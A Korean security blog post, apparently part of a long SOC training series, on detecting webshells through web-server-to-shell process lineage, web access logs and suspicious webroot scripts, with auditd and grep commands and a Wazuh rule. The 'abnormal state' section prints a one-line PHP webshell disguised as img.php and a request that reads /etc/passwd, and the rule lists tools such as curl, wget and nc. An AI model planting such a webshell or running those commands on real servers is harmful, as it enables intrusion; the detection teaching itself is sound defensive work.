282. 프로세스·지속성 — 웹셸 실행 징후 탐지

changseop lee·2026년 10월 7일

시스템 보안 · 취약점

목록 보기
282/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 32/50편 (전체 282/450)
학습 단계: 백도어·C2·은닉 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

웹셸은 웹 서버에 업로드된 악성 스크립트(.php·.jsp 등)로, HTTP 요청을 통해 명령을 실행합니다. 웹 서비스가 셸·명령을 실행하는 계보(F05·11)와 웹 접근 로그를 연계해 탐지합니다.

웹셸 실행 징후
 계보: 웹서버(nginx/php-fpm) → sh/bash/명령 (F05·11)
 웹 접근 로그: 의심 .php·명령 파라미터 POST/GET
 웹셸 파일: 웹루트에 신규 .php·.jsp(난독화 포함)
 명령 실행: system()·exec()·eval() 호출

핵심: 웹서버 계보의 명령 실행 + 웹 로그 + 웹루트 파일

웹셸은 웹서버 프로세스가 셸·명령을 생성하는 비정상 계보로 나타납니다. 웹 접근 로그(어떤 요청이 트리거했나)와 결합하면 확정적입니다.

2. 왜 중요한가

  • 웹셸은 웹 서버를 거점으로 명령 실행·추가 침투의 관문입니다(초기 침투·지속성).
  • 웹서버→셸 계보는 정상 운영에 없어 웹셸의 강한 신호입니다(F05).
  • 웹 접근 로그(요청)+프로세스 계보(실행)를 연계하면 웹셸이 확정됩니다.

3. 핵심 명령어 / 설정

웹셸 징후신호위험
웹서버→셸 계보php-fpm→sh매우 높음
웹루트 신규 .php난독화 스크립트높음
system/exec 호출명령 실행높음
의심 웹 요청cmd 파라미터높음
정상 웹 처리정상정상

4. 실습 (실습 예시)

# 웹셸 실행 징후 탐지 (분석 방법)
# 웹서버→셸/명령 계보(F05·11)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'ppid_comm="(php-fpm|nginx|httpd|apache2|tomcat)"' | grep -E 'comm="(sh|bash|id|whoami|uname|cat|curl)"' | tail
# 웹루트 신규 스크립트(의심 함수 포함)
sudo grep -rlE 'system\(|exec\(|passthru\(|eval\(.*\$_(GET|POST|REQUEST)' /var/www 2>/dev/null

5. 정상 상태

$ (웹서버→셸 계보) (없음)
$ (웹루트 의심 스크립트) (없음)

웹 서버가 셸·명령을 생성하지 않고, 웹루트에 의심 함수를 쓰는 신규 스크립트가 없는 상태가 정상입니다.

6. 이상 상태

$ (웹서버→셸 계보)
ppid_comm="php-fpm" comm="sh" args="sh -c id;uname -a;cat /etc/passwd"
$ (웹루트 의심 스크립트)
/var/www/html/uploads/img.php: <?php system($_GET['c']); ?>
  • php-fpm이 sh 생성 → 웹셸을 통한 명령 실행(계보)
  • 웹루트 uploads에 system($_GET) 스크립트 → 웹셸 파일(위장: img.php)
  • 웹서버→셸 계보+웹셸 파일 → 웹셸 → 정탐

7. 로그 분석 (분석 방법)

웹셸 실행 분석입니다(가상의 예시).

[웹 요청] GET /uploads/img.php?c=id;cat+/etc/passwd (웹 로그)
   ↓
[웹셸 파일] img.php: system($_GET['c'])
   ↓ 계보
php-fpm(985) → sh(3001) → id/cat (F05·11)
   ↓
[명령 실행] 공격자 명령이 웹서버 권한으로 실행
 = 웹 요청 + 웹셸 파일 + 웹서버→셸 계보
요소해석
웹 요청 cmd웹셸 트리거
img.php위장 웹셸
php-fpm→sh웹셸 계보
명령 실행거점

웹 접근 로그+프로세스 계보를 연계하면 웹셸이 확정됩니다.

8. SOC 관제 포인트

  • 웹셸은 웹 서버에 업로드된 스크립트로 HTTP 요청을 통해 명령을 실행합니다.
  • 웹서버→셸 계보(F05·11)는 웹셸의 강한 신호입니다.
  • 웹 접근 로그(요청)+프로세스 계보(실행)+웹루트 파일을 연계해 확정합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,c2,">
  <rule id="105310" level="14">
    <if_sid>105040</if_sid>
    <field name="audit.ppid_comm" type="pcre2">^(php-fpm|nginx|httpd|apache2?|tomcat|node)$</field>
    <field name="audit.comm" type="pcre2">^(sh|bash|id|whoami|uname|cat|curl|wget|nc)$</field>
    <description>웹서버의 명령 실행(웹셸 징후)</description>
    <mitre><id>T1505.003</id></mitre>
  </rule>
</group>

웹 접근 로그(의심 요청)와 웹루트 FIM(신규 스크립트)을 함께 수집해 웹셸을 확정합니다. 웹서버→셸 계보가 핵심입니다.

10. 대응 방법

  1. 초기 확인 — 웹서버→셸/명령 계보·웹루트 신규 스크립트·웹 요청을 확인합니다.
  2. 범위 확인 — 의심 함수(system/exec)·위장 파일명·명령 파라미터를 확인합니다.
  3. 증거 확보 — 웹셸 계보·파일·웹 접근 로그를 연계해 보존합니다.
  4. 차단/조치 — 웹셸 정탐이면 웹셸 파일 제거·웹서버 셸 프로세스 종료·초기 업로드 경로 점검을 진행합니다.
  5. 재발 방지 — 웹서버 계보+웹 로그 연계 웹셸 탐지를 운영합니다.

11. 핵심 정리

웹셸 징후신호
웹서버→셸 계보php-fpm→sh
웹루트 신규 .php난독화 스크립트
system/exec 호출명령 실행
의심 웹 요청cmd 파라미터
면접 포인트"웹셸은 웹서버→셸 계보 — 웹 접근 로그+프로세스 계보+웹루트 파일 연계 확정"

12. 다음 편 예고

다음 편 283. 프로세스·지속성 — 프로세스 인젝션·후킹 징후 탐지 에서는 프로세스 인젝션·후킹 징후를 다루는 프로세스 인젝션·후킹 징후 탐지를 다룹니다.


이전 편: 281. 프로세스·지속성 — C2 비컨(beacon) 통신 패턴 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글